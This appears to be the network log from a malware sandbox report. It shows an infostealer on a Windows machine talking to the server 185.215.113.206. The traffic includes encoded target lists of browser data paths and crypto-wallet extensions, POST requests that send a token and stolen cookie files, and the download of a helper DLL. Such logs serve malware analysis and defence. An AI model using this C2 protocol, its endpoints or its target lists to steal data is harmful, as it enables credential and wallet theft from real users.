Dec 9, 2024 18:20:04.478960991 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 9, 2024 18:20:04.479041100 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 9, 2024 18:20:04.480720043 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="message"plugins------CFBFCGIDAKECGCBGDBAF--
Dec 9, 2024 18:20:04.921256065 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 9, 2024 18:20:04.921384096 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 9, 2024 18:20:04.921394110 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 9, 2024 18:20:04.921648026 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 9, 2024 18:20:04.921664000 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 9, 2024 18:20:04.921675920 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 9, 2024 18:20:04.921686888 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 9, 2024 18:20:04.923744917 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"fplugins------BKJKJEHJJDAKECBFCGID--
Dec 9, 2024 18:20:05.362735033 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 9, 2024 18:20:05.379462004 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.206 Content-Length: 6615 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 18:20:05.379528046 CET	6615	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 9, 2024 18:20:06.343346119 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:06.647068024 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:07.083976984 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 9, 2024 18:20:07.083987951 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 9, 2024 18:20:07.086205959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49747	185.215.113.206	80	5264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:20:16.336692095 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEB Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FBKKJEBFIDAEBFHIDAEB--
Dec 9, 2024 18:20:18.188100100 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:18.491549015 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file"------DHDAFBFCFHIDAKFIIEBA--
Dec 9, 2024 18:20:19.440411091 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49788	185.215.113.206	80	5264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 18:20:31.121658087 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 